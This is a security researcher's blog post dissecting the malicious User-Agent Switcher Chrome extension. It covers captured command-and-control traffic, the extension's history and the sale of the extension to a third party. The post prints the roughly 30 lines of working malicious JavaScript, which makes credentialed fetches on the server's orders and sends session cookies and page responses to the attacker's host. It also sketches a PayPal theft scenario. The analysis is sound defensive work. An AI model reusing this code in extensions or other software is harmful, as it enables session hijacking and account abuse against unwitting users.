Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time
layout title permalink description date tags published
post
Browser Extension Malware Deep-Dive: User Agent Switcher
/2020/extensions-the-next-generation-of-malware/user-agent-switcher/
User-Agent Switcher gave a malware author access to ~100k Chrome users, which they used to farm Instagram and Facebook likes. They pushed two version updates while they built elegant, efficient malware - stealing user session tokens and generating revenue for the malware author - with eyes on their next prize...
2020-10-19 17:00:00 -0700
malware
extension
chrome
false

This post is a technical exploration of User-Agent Switcher, a popular extension boasting 100k users as of October 2020. Due to its popularity, it became a target for malware authors. The malware that was inserted into this extension was short but powerful - using modern web technologies to minimize its footprint to only around 30 lines of Command-and-Control code. Most notably, this malware was:

  • 100% server-controlled, so no data about the malware's activities or targets was hidden in the source code.
  • Able to force a victim's browser to browse to any site the author wanted.
  • Able to steal session tokens from any outbound requests to only domains it was interested in.
  • Able to overwrite request headers to hide the origin (the extension itself) in a creative way.

The version of the User-Agent Switcher malware that is dissected in this post is 2.0.1.0, as that was the active version of the malware when a Reddit user posted on the cybersecurity subreddit about it, though some references to prior versions are included for context. This article is part of a broader analysis titled "Browser Extensions: The Next Generation of Malware" (to be released shortly), and is a technical deep dive on how this particular malware operates: including the history of the infected extensions, what this malware does, how it works under the hood, and what it can do to unsuspecting users.

Initial Thoughts

Taking a look at the extension's page in the Chrome Web Store, there's nothing that immediately would set off an alarm in consumers' minds. It seems popular, is well-rated, has a well-written description, and links to a website. Nothing wrong, right?

Chrome Web Store's User-Agent Switcher extension page (malicious).

A screenshot of the full page is here. Clicking off to the author's website, we're given a small migraine with a bright "Coming Soon" template by Colorlib, but there is no content on it otherwise. So, back to the Chrome Web Store.

While having 100k users would normally instill trust in people looking for an extension to install, it's possible that some or all of these are fraudulent (and that was my immediate suspicion, though this turned out to be incorrect). Google has been in the news due to fraud on the Chrome Web Store, and Julio Marin Torres is leading the charge to convince Google's policymakers to crack down on what appears to be rampant abuse:

Torres suggests there's a risk this code could later be updated after the extension is widely installed to do something more nefarious. Torres has been gathering Chrome Web Store data and crunching the numbers to identify sudden surges in popularity.

A list he posted on May 17 includes more than 80 Chrome extensions that purport to have massive numbers of users and yet have few if any user reviews. For example, the Fortnite New Tab & Wallpapers Collection has over a million users and not a single person has bothered to post a review.

...

"In the end I think that the Chrome Web Store does not take good care of its developers and forgets the most important thing: the users," said Torres.

Looking around for context, this extension is the third extension which comes up when searching "user agent switcher," right underneath Google's own user agent switching extension, which has has 2m+ reported users. So it's possible that this is a "true" 100k+ install extension, and for that, I started looking at reviews. What surprised me the most was that the first reviews are from all the way back in 2016, so while the domain this extension references is quite new according to its WHOIS, the extension itself is quite old - suspicious.

Positive feedback starting in 2016.

Many reviewers also note that "other" User-Agent Switchers were "spyware" - but that this extension was clean and safe. The earliest comment wondering if this extension was unsafe was posted on or around July 29, 2020, when user 色基斯 commented:

这个是木马???

Which Google Translate interprets as "Is this a Trojan horse?" Whether or not it was at the time - as we will find out - this was an extremely topical question. Around October 3rd, 2020, the first public comment was posted decrying this extension as malicious:

Negative feedback reaches inflection point.

After that (and especially after the Reddit post was made), all reviews are negative, mostly from security folks like me warning users off and dropping the extensions' rating. That's enough background for the moment - and that's also all I knew when beginning to dissect this - so let's move on to the fun part: running some malware.

Observing Traffic

Spinning up resources to test the User-Agent Switcher extension and monitor its traffic was simple. Since I didn't have an Instagram account tied to my phone, I signed up for one that I could comfortably destroy. While this extension is reported to also abuse Facebook accounts, I'm unwilling to buy one for testing (as they're often compromised), and while I've been looking to delete my Facebook this isn't quite the "bang" I want to go out with.

Once I set up an account, created a VM on an isolated network, installed Chrome and Burp Suite, configured both, and logged in - we're ready to see what happens. Installing the extension and restarting my browser for good measure, the results started rolling in quickly.

Initial Contact & Socket.IO

Immediately after browser startup, a number of connections are rapidly made over HTTPS to the domain specified as the extension's author, https://www.useragentswitch.com:

Requested URL: /socket.io/?EIO=3&transport=polling&t=NK1TZnJ
Response: 96:0{"sid":"MZhr5sp7_Ws-V9R_Afs8","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":5000}2:40

Requested URL: /socket.io/?EIO=3&transport=websocket&sid=MZhr5sp7_Ws-V9R_Afs8
Response: 

Requested URL: /socket.io/?EIO=3&transport=polling&t=NK1Ta5m&sid=MZhr5sp7_Ws-V9R_Afs8
Response: 65:42["handlerData",{"type":"xmlhttprequest","url":"instagram.com"}]

Requested URL: /socket.io/?EIO=3&transport=polling&t=NK1Ta9O&sid=MZhr5sp7_Ws-V9R_Afs8
Response: 1:6

Dropping the only most recognizable string into google - socket.io - we quickly learn this malware is establishing a WebSocket using Socket.IO, a popular engine for establishing and managing bidirectional WebSockets. The internals and protocol documentation partially explained the initialization sequence we just witnessed:

  • The first response contains instructions for the client to change transport protocols to using a WebSocket, and includes a Session ID as well as frequency parameters for pinging and timeout (25 seconds and 5 seconds, respectively).
  • The third response is a message not present in the documentation, and certainly suspicious since this isn't an Instagram-centric socket handler. We'll come back to this later.
  • ... and the fourth response is simply a noop.

Switching over to the WebSockets tab, a few messages had been exchanged which confirm the upgrade to the new transport layer:

Client -> Server:
2probe
Server -> Client:
3probe
Client -> Server:
5

Then the only communication for a few minutes is "pings" and "pongs" to ensure the socket is and remains alive:

Client -> Server:
2
Server -> Client:
3

Malicious Operations on Facebook

Two minutes and ten seconds of heartbeats later, the server sends a longer message over the WebSocket:

Server -> Client
42["createFetch",{"callBack":"initCallBackFB","uri":"https://www.facebook.com/","attr":
{"credentials":"include","headers":{"accept":"text/html,application/xhtml+xml,application/
xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"origin-zzz":"https://www.facebook.com","sec-fetch-dest":"document",
"sec-fetch-mode":"navigate","se-zzzc-fetch-site":"same-origin","se-zzzc-fetch-user":"?1",
"upgrade-insecure-requests":"1"},"referrerPolicy":"no-referrer-when-downgrade","body":null,
"method":"GET","mode":"cors"}}]

Looking at the Socket.IO docs, a message type of 42 is read as "engine: 4, socket: 2" and is referenced as MESSAGE_EVENT - so it seems that our malicious extension is being told to perform an action (a createFetch event, whatever that means). Though it didn't take much wondering, as my browser sprang to life and made a request to Facebook:

Host: www.facebook.com
Connection: close
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
upgrade-insecure-requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.27 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/601.1.27
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: sb=djl9XybrliHbaXtut9kQZ5f-; fr=105lau0rVCvNUPaQy.AWVtW4Eyu8OUoPBfn0On9TJgvQM.BffTl2.0k.AAA.0.0.BffT6F.AWUj8rhsvQE
origin: https://www.facebook.com
sec-fetch-user: ?1

What's important to note here is that the headers are set to innocuous values. While the initial requests to www.useragentswitch.com included an Origin header which included the Chrome extension ID, this request was "clean" and contained no such trace. Further, the odd -zzz strings sent in the WebSocket event have disappeared - probably by some filtering and reconstruction locally.

After receiving a response from Facebook, my browser forwards the entire response back to the server as another MESSAGE_EVENT, this time with a key of initCallBackFB (which was specified in the callBack key of the original createFetch event). I've omitted the Content Security Policy and HTML from the response for brevity:

Client -> Server
42["initCallBackFB",{"headerEntries":[["alt-svc","h3-29=\":443\"; ma=3600,h3-27=\":443\"; 
ma=3600"],["cache-control","private, no-cache, no-store, must-revalidate"],["connection",
"close"],["content-security-policy","<FACEBOOK CSP OMITTED FOR BREVITY>"],["content-type",
"text/html; charset=\"utf-8\""],["date","Wed, 07 Oct 2020 05:11:02 GMT"],["expires","Sat, 01 
Jan 2000 00:00:00 GMT"],["pragma","no-cache"],["strict-transport-security","max-age=15552000; 
preload"],["vary","Accept-Encoding"],["x-content-type-options","nosniff"],["x-fb-debug",
"0e7D12VGda2oR5J84JmIore1H9pXLIstEI084Ex/MpeTOqgOaaEY7n7HU5L/YgcT0NVxFAfs0HT7B0gpXPfTJQ=="],
["x-frame-options","DENY"],["x-xss-protection","0"]],"data":"<HTML OMITTED FOR BREVITY>",
"ok":true,"status":200}]

In effect, the server is remotely controlling my browser, and reading the responses that it gets. Had I been logged in, an attacker would have been reading off my friends' and family's activity feed. While that's a gross violation of privacy, at least my account wasn't compromised, since the response data doesn't include my session token.

The server does not send more requests for Facebook after this point, so it seems that the serverside logic is fairly complex, and uses the response data to check if a user is logged in before attempting to continue using their account. Confirming with the Reddit user in direct messages, had I been logged in, my account would probably have been used to promote influencer content:

I first discovered it [because it accessed my] Facebook, but there was maybe 2-3 likes/day ...

Malicious Operations on Instagram

One minute and two seconds later, the server sends a new createFetch event, instructing my browser to load Instagram:

Server -> Client
42["createFetch",{"callBack":"initCallBack","uri":"https://www.instagram.com/","attr":
{"credentials":"include","headers":{"origin-zzz":"https://www.instagram.com",
"sec-fetch-dest":"document","sec-fetch-mode":"navigate","se-zzzc-fetch-site":"none",
"upgrade-insecure-requests":"1"},"referrerPolicy":"no-referrer-when-downgrade","body":null,
"method":"GET","mode":"cors"}}]

Now, our malware author gets lucky - I'm logged in to my dummy account. A request to Instagram is made, but to my surprise, two separate events are sent. One we expect, which is the callback containing the response data - identical to what we saw for Facebook, except this event is titled initCallBack instead of initCallBackFB:

Client -> Server
42["initCallBack",{"headerEntries":[["access-control-allow-credentials","true"],
["access-control-allow-origin","https://www.instagram.com"],["access-control-expose-headers",
"X-IG-Set-WWW-Claim"],["alt-svc","h3-29=\":443\"; ma=3600,h3-27=\":443\"; ma=3600"],
["cache-control","private, no-cache, no-store, must-revalidate"],["connection","close"],
["content-language","en"],["content-length","47356"],["content-security-policy","<INSTAGRAM 
CSP OMITTED FOR BREVITY>"],["content-type","text/html; charset=utf-8"],["date","Wed, 07 Oct 
2020 05:12:04 GMT"],["expires","Sat, 01 Jan 2000 00:00:00 GMT"],["pragma","no-cache"],
["strict-transport-security","max-age=31536000"],["vary","Accept-Language, Cookie, 
Accept-Encoding"],["x-accel-buffering","no"],["x-aed","20"],["x-content-type-options",
"nosniff"],["x-fb-trip-id","1679558926"],["x-frame-options","SAMEORIGIN"],["x-xss-protection",
"0"]],"data":"<HTML OMITTED FOR BREVITY>","ok":true,"status":200}]

The other is a surprise. My request headers, including my session cookie, are also stolen. The malware author could now hijack my current session with Instagram and browse as me from wherever they are in the world. While they could technically do something equivalent with some clever programming and a lot of createFetch events, this makes it even more trivial.

Notably, the requestHeadersHandler event wasn't specified in the createFetch event that was sent to my browser, so I'll need to hunt down why this event was triggered when looking at the malicious extension's internals:

Client -> Server
42["requestHeadersHandler",{"frameId":0,"initiator":"chrome-extension://
clddifkhlkcojbojppdojfeeikdkgiae","method":"GET","parentFrameId":-1,"requestHeaders":[
{"name":"se-zzzc-fetch-site","value":"none"},{"name":"origin-zzz","value":"https://www.
instagram.com"},{"name":"upgrade-insecure-requests","value":"1"},{"name":"User-Agent",
"value":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.
4240.75 Safari/537.36"},{"name":"Accept","value":"*/*"},{"name":"Sec-Fetch-Site",
"value":"none"},{"name":"Sec-Fetch-Mode","value":"cors"},{"name":"Sec-Fetch-Dest",
"value":"empty"},{"name":"Accept-Encoding","value":"gzip, deflate, br"},
{"name":"Accept-Language","value":"en-US,en;q=0.9"},{"name":"Cookie",
"value":"ig_did=0BD6DADB-8BE2-4CAC-8AD2-7C276D9054B6; mid=X305GAAEAAHAOaH2mauPtYA6R8pf; 
ig_nrcb=1; csrftoken=zepUGi0jiUJB7GfTBQ4cC2F1ZYn7J6W5; ds_user_id=43092726024; 
sessionid=43092726024%3AfQVgHKyfgJh3O7%3A19"}],"requestId":"65","tabId":-1,
"timeStamp":1602047524229.481,"type":"xmlhttprequest","url":"https://www.instagram.com/"}]

The next steps should not be much of a surprise, but the server appears to analyze the request to see if there's an active login, and then proceeds with its ultimate goal: User-Agent Switcher finally starts generating revenue by promoting content, most likely for customers paying the malware author. First, a specific post from a seemingly-paying customer (one @bebe_quiche) is loaded with another createFetch event:

Server -> Client
42["createFetch",{"callBack":"getPostParamsHandler","uri":"https://www.instagram.com/p/
CFkWDmNpFfN/","attr":{"headers":{"sec-fetch-dest":"document","sec-fetch-mode":"navigate",
"se-zzzc-fetch-site":"same-origin","sec-fetch-user":"?1","upgrade-insecure-requests":"1"},
"referrerPolicy":"no-referrer-when-downgrade","body":null,"method":"GET","mode":"cors",
"credentials":"include"}}]

After sending the header of the request that my browser made as a requestHeadersHandler event, alongside the response (this time called a getPostParamsHandler event), the server finds the Like link in the post, and directs my browser to promote @bebe_quiche's post:

Server -> Client
42["createFetch",{"callBack":"sendLikeHandler","uri":"https://www.instagram.com/web/likes/
2406145105135425485/like/","attr":{"credentials":"include","method":"POST","mode":"cors",
"headers":{"accept":"*/*","sec-fetch-dest":"empty","sec-fetch-mode":"cors",
"se-zzzc-fetch-site":"same-origin","Referer-zzz":"https://www.instagram.com/p/CFkWDmNpFfN/",
"Origin-zzz":"https://www.instagram.com","content-type":"application/x-www-form-urlencoded",
"x-ig-app-id":"936619743392459","x-csrftoken":"zepUGi0jiUJB7GfTBQ4cC2F1ZYn7J6W5",
"x-instagram-ajax":"38f51516507c","x-ig-www-claim":0,"x-requested-with":"XMLHttpRequest"},
"body":""}}]

Which it does successfully, again reporting the request headers with requestHeadersHandler, alongside a new sendLikeHandler event:

Client -> Server
42["sendLikeHandler",{"headerEntries":[["access-control-allow-credentials","true"],
["access-control-allow-origin","https://www.instagram.com"],["access-control-expose-headers",
"X-IG-Set-WWW-Claim"],["alt-svc","h3-29=\":443\"; ma=3600,h3-27=\":443\"; ma=3600"],
["cache-control","private, no-cache, no-store, must-revalidate"],["connection","close"],
["content-language","en"],["content-length","16"],["content-security-policy","<INSTAGRAM 
CSP OMITTED FOR BREVITY>"],["content-type","application/json; charset=utf-8"],["date","Wed, 
07 Oct 2020 05:12:07 GMT"],["expires","Sat, 01 Jan 2000 00:00:00 GMT"],["pragma","no-cache"],
["strict-transport-security","max-age=31536000"],["vary","Accept-Language, Cookie"],["x-aed",
"20"],["x-content-type-options","nosniff"],["x-fb-trip-id","1679558926"],["x-frame-options",
"SAMEORIGIN"],["x-ig-set-www-claim","hmac.AR2Ugv6Y86E7AjJ-5QIdNOX8A6Re0l5aSQ7Gmv3ykyMMCsxn"],
["x-robots-tag","noindex"],["x-xss-protection","0"]],"data":"{\"status\": \"ok\"}","ok":true,
"status":200}]

After this, the server continues sending createFetch events for loading Instagram posts and liking them, and no new event types or interactions were observed. For your exploration, I have also included a brief traffic log exported from Burp with initial WebSocket setup as well as the requests and responses generated by these events (minus HTML data, as it only added bloat - not context).

Source Code Dissection

Hopping into the extension directory, we're greeted with simple internals - mostly JavaScript, some HTML, CSS, and little else. The extension's files are available here for your own exploration. The JavaScript files have been minified (a space-saving measure), so I "beautified" them with js-beautify before beginning - though only the originals have been uploaded.

To try to get an early lead, I searched www.useragentswitch.com to see if the C&C domain was hardcoded, on the off chance that the malicious components of this extension weren't obfuscated. Surprisingly, it matched in js/background.min.js:

            return chrome.tabs.create({
                url: "http://www.esolutions.se/whatsmyinfo"
            }), !1
        },
        title: "Show User-agent",
        type: "normal"
    })
}
var userAgentSwitch = io("https://www.useragentswitch.com/");

function setUserAgent(e, t, s, n) {
    for (var r, a = 0; a < userAgents.length; a)

Even better, we got another lead only a few lines away. What is esolutions.se/whatsmyinfo? A quick Google search shows that eSolutions Nordic AB is a small development company - one which also dabbles in building useful Chrome extensions, such as... User-Agent Switcher?

Chrome Web Store's User-Agent Switcher extension page (nonmalicious).

A full screenshot is available here as well. While this raises many questions - such as "why is there a duplicate extension with a much older domain referenced" and "who copied who" - we will revisit those in the Historical Analysis section. Most immediately, this gives us a very powerful method to trim down the code we'll need to look through.

Unpacking the clean User-Agent Switcher extension (including beautifying its JavaScript), aligning the file structure (to account for the different version folder), and diffing the two extension folders, only a few files are different: js/background.min.js, js/bootstrap.min.js, js/JsonValues.min.js, manifest.json, _metadata/computed_hashes.json, and _metadata/verified_contents.json. Eliminating irrelevant files (metadata and contents), as well as js/bootstrap.min.js which contains different comments but not different code, we're left with only two files to go through: js/JsonValues.min.js and js/background.min.js, whose diff with their nonmalicious counterparts is here.

js/JsonValues.min.js

Taking a look at js/JsonValues.min.js, this file had several thousand lines of code appended to it. Pruning through, they're large, socket-oriented functions - so there's a good chance the added content is just the Socket.IO client. I wasn't certain that was the only content added to this file, so I ran it through JS NICE - a project which attempt to intelligently reassemble obfuscated or minified JavaScript by SRI Lab at ETH Zürich - to see if anything caught my eye after it was automatically annotated. Nothing did, so I took a couple notes and moved on.

js/background.min.js

It is quickly apparent that js/background.min.js contains most if not all of User-Agent Switcher's malicious components, especially since we already know that the www.useragentswitch.com domain is contained within it. Removing the noise from the version and minification differences between the extensions we're comparing, the malicious content the author added is only ~30 lines long. While simple, it gives the author more than enough control over a user's browser to perform malicious actions.

Functionality

The way this malware works is fairly simple, since Socket.IO's client-side WebSockets library handles the complexities of making, managing, and interacting with WebSockets. However, since it is principally event- and hook-driven, it may be hard to interpret for observers who aren't familiar with JavaScript. We'll go through the malicious code in sections before bringing it all together.

Initializing

Chrome loads background.html on browser start, which in turn loads js/background.min.js and js/JsonValues.min.js. The first thing User-Agent Switcher's malicious component does is initialize a WebSocket to its Command & Control server, which is a one-liner thanks to Socket.IO:

var userAgentSwitch = io("https://www.useragentswitch.com/");

Fraudulent Request Handling

It also registers two event hooks on the socket that was just created. The first processes incoming createFetch events, which detail fraudulent requests that your browser is being used to execute. These events are passed directly to an asynchronous createFetch function, which fetches the requested content, then the results are passed as events which it sends to the Command and Control server via emit().

userAgentSwitch.on("createFetch", async function(e) {
    let t = await createFetch(e);
    userAgentSwitch.emit(e.callBack, t)
});

async function createFetch(e) {
    let t = await fetch(e.uri, e.attr),
        s = {};
    return s.headerEntries = Array.from(t.headers.entries()), s.data = await t.text(), s.ok = t.ok, s.status = t.status, s
}

Capturing the Request & Overwriting the Origin

The second event hook that is added to the socket is to process handlerData events, which list hosts that User-Agent Switcher would like to intercept headers on outgoing requests for - capturing session cookies, User-Agent strings, and more. Did you remember? This was actually the first malicious event we received from the server in the Initial Contact & Socket.IO section, though it didn't do anything immediately, it was eventually the reason that headers were stolen for Instagram but not Facebook:

["handlerData",{"type":"xmlhttprequest","url":"instagram.com"}]

User-Agent Switcher also registers a function titled handler2 which is invoked on all outgoing web requests before the headers are sent, doing two important functions:

  • Checking to see if the domain that a request is being made for is in our local handlerData object, and if so, sending an event via emit() to the Command and Control server with the headers of the request.
  • Removing any "obfuscating" -zzz strings in header parameters from createFetch events, and reconstructing the headers afterwards. This has a side (or perhaps main) benefit of overwriting the headers that Chrome had automatically built for the request, quietly erasing the Origin header (see notes from the Malicious Operations on Facebook subsection) which would have shown that this request came from an extension.
var handlerData = {};
userAgentSwitch.on("handlerData", function(e) {
    handlerData = e
});

var handler2 = function(e) {
    var t = Object.keys(handlerData);
    if (t.length > 0) {
        var s = !0;
        for (let n = 0; n < t.length; n++) {
            let r = t[n];
            if (re = new RegExp(handlerData[r], "gi"), null == e[r].toString().match(re)) {
                s = !1;
                break
            }
        }
        s && userAgentSwitch.emit("requestHeadersHandler", e)
    }
    return {
        requestHeaders: JSON.parse(JSON.stringify(e.requestHeaders.reverse()).split("-zzz").join(""))
    }
};
chrome.webRequest.onBeforeSendHeaders.addListener(handler2, {
    urls: ["<all_urls>"]
}, ["requestHeaders", "blocking", "extraHeaders"]), runAppStart(), setIconAndText();

Data Flow

And that's it - the rest of the client-side C&C is 100% handled by Socket.IO and not inherently malicious - including:

  • Establishing a WebSocket connection
  • Reconnecting the WebSocket connection in case of a failure
  • Packaging events and data into a custom protocol
  • Responding to and sending heartbeats to keep the WebSocket alive

If you're curious or want to learn more about how Socket.IO works, check out their documentation. Putting Socket.IO's protocol together with the malicious code we explored, the control data flow can be mapped out as:

User-Agent Switcher Command and Control schema.

While I hate to admit it, I'm impressed by the design of this malware - this is an extremely efficient C&C implementation, which gives the author access to both authorization tokens as well as the ability to take actions as the user, with an extremely minimal footprint. Hiding the operational logic serverside was also an impressive choice - such as logic to determine whether or not a user is logged in to a Facebook or Instagram account - which makes much of its function obscured from the prying eyes of curious users or security researchers. It's safe to say that we're not dealing with amateurs.

Historical Analysis

Now that we know what this malware does and how its internals function, there are two questions lingering on my mind:

  • When was this extension infected with malware?
  • What is eSolutions Nordic AB's role in this?

While we know from the store page that this extension was most recently updated on September 7th and has probably been malicious since then, that doesn't tell us the full story. Digging around for archive and other context, I was alerted to Crx4Chrome, which keeps an archive of popular extensions and had the following versions available:

  • Version 2.0.0.4, released February 1st, 2016
  • Version 2.0.0.8, released May 28th, 2020
  • Version 2.0.0.9, released August 29th, 2020
  • Version 2.0.1.0, released September 7th, 2020

Unpacking and diffing versions 2.0.0.9 and 2.0.1.0, after filtering out metadata changes it is quickly apparent that the only real change between the two was in js/background.min.js - where the malware author added handler2 and handlerData in version 2.0.1.0. Therefore, the extension has been malware-infected since August 29th, but users didn't have to worry about their session tokens being stolen before September 7th.

Jumping back one more version and comparing 2.0.0.8 to 2.0.0.9, all of the remaining malicious components (including the Socket.IO library to support them) are not present in 2.0.0.8. So, what happened since May? I struggled to find the answer for some time, until I was alerted to the issue by what seems to be our author's next move: acquiring two extensions to infect with similar malware (writeup coming soon). Doing some more research on eSolutions Nordic, it turns out that they are the original creators of User-Agent Switcher, and had built it to its 100k-user following (no fraud needed!). While their Facebook page and website had long histories of pointing to a User-Agent Switcher extension, upon close inspection it turns out that the link was changed on July 3rd, 2020, to point to their new extension with only 1-2k users.

changes

Reaching out to the eSolutions Nordic team via their website, they confirmed via email that rights to the original User-Agent Switcher (therefore including its userbase) had been sold to a third party.

Conclusion

The most important takeaway is that this malware, while simple, can be instructed by the malware author to perform nefarious actions on any site. If the author wanted to expand into bigger and badder territory - such as stealing online banking credentials - they could launch that attack immediately, without even updating the client. Say the author decides to try stealing money from my PayPal account:

  • Send a handlerData event with PayPal's domain (www.paypal.com)
  • Send a createFetch event for PayPal's dashboard

At that point, the malware author now has my session token, and could choose between executing requests remotely or on their own infrastructure (as they also have my browser information). If they chose to execute remotely, they would simply need to send more createFetch events to collect context (ex. how much money is in my account) and then POST transfer requests to PayPal's API. The only protection I have is that maybe PayPal would ask me to reenter my password if the transfer account was large enough or the user is not known - which extensions running in the background (thankfully) wouldn't be able to bypass without your password.

However, it could be updated to have functionality which would bypass the need for your password. Modifying money transfer requests so they will be sent to an attacker-controlled account would be a trivial change, and is functionally similar to how handler (from the clean version of User-Agent Switcher) and handler2 hook to outgoing requests for rewriting. Further, it's unlikely that this behavior would be detected by Google's automatic and manual review processes, since they haven't detected the techniques used by this malware - as long as the hook was written similarly and didn't directly reference PayPal, it would probably be approved without a second thought.